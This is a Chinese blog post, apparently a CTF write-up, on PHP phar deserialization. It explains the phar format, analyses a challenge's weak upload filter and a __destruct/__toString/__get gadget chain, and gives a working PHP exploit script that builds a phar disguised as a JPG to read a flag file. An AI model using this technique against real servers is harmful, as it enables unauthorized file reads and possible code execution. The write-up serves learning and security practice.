Phar反序列化原理和利用

 1.什么是phar

      (1)    PHAR("Php ARchive") 是PHP里类似于JAR的一种打包文件,将多个PHP文件打包为一个文件,可以和tar,Zip互相转化。

注:php5.3版本之后才支持phar

      (2) PHAR 文件结构

1. stub(存根):phar文件标识

基本结构

<?php

// 输入代码,内容不限

__halt_compiler;//必须以"__halt_compiler"结尾,否则phar扩展无法识别这个phar文件
?>

这里有一个关键点,文件标识必须以“__halt_compiler”结尾,PHP识别phar文件主要靠“__halt_compiler”这段代码,但是前面的内容没有限制,也就是说我们可以伪造成PDF或GIF文件绕过一些设定的上传限制。

各种文件头:

类型 标识
JPEG 头标识ff d8 ,结束标识ff d9
JPEG 头标识ff d8 ,结束标识ff d9
PNG  头标识  89 50 4E 47 0D 0A 1A 0A
GIF    头标识(6 bytes) GIF89(7)a
BMP  头标识(2 bytes) 42 4D BM

2.manifest(清单):压缩文件的属性等信息,以序列化存储。

根据官网给出 Phar manifest file entry definition

 可知,Phar文件中,每个被压缩文件的权限、属性等信息都以序列化的形式存储用户自定义的meta-data,这正是phar反序列化攻击手法切入点。

(序列化:把对象转换为字节序列的过程称为对象的序列化。

    反序列化:把字节序列恢复为对象的过程称为对象的反序列化。 )

被压缩的文件内容,在没有特殊要求的情况下,这个被压缩的文件内容可以随便写的,所以我们利用这个漏洞主要是为了触发它的反序列化

3.contents:压缩文件的内容

4.签名 signature (放在文件末尾)

格式:

2.实例分析

我们先看这样一道题

 先看"查看文件"这一栏的源码

if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?> 

if(file_exists($file))这段代码直接调用“file_exists”函数,并未过滤phar流,有序列化,无"unserialize()"函数,文件上传,phar协议未过滤所以这道题是典型的phar反序列化

 然后我们先把网页的源码下载,打开function.php文件

222.90.67.205
<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?> 

允许上传的文件只有GIF、JPEG、PNG、JPG

根据之前所说,我们可以通过更改文件后缀名来绕过文件上传的限制。

class.php文件:

从class.php文件:

 在destruct()中存在echo能输出字符串来触发toString()

  show类有__toString()

 __toString方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。

所以要触发“__toString()”我们需要当一个对象被当作一个字符串使用

利用$this->str['str']->source;

发现Test类中。有一个魔法函数__get。

魔术方法__get()的作用

在程序运行过程中,通过它可以在对象的外部获取私有成员属性的值。

当调用不存在的函数或属性时。就会自动调用__get函数。get函数又会调用__get。get又调用file_get读取文件。利用__get()触发file_get()最终触发file_get_contents()

梳理一下思路

C1e4r::__destruct() ---> Show::__toString() ---> Test::__get() 。

1.通过cle4r,将str赋值为show类

 2.触发show类中的__toString魔术方法,进入show类执行

3.进入test类执行_get()

接下来构造exp

>?php
class C1e4r
{
    public $test;
    public $str;
}

class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;

}

$c1e4r = new C1e4r();
$show = new Show();
$test = new Test();
$test->params['source'] = "/var/www/html/f1ag.php";
$c1e4r->str = $show;         //利用  $this->test = $this->str; echo $this->test;
$show->str['str'] = $test;   //利用 $this->str['str']->source;


$phar = new Phar("exp.phar");                     //.phar文件
$phar->startBuffering(); 
$phar->setStub('<?php __HALT_COMPILER(); ? >');   //phar固定的格式
$phar->setMetadata($c1e4r);                       //触发的头是C1e4r类,所以传入C1e4r对象
$phar->addFromString("exp.txt", "text");          //生成签名
$phar->stopBuffering();

?>

生成文件后将后缀名改为JPG

上传文件

查看upload目录,最后一个jpg文件才是构造的exp,前面几个图片是测试上传情况

回到file.php界面

 得到base64加密的内容

最后将base64加密的内容解码得到flag

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值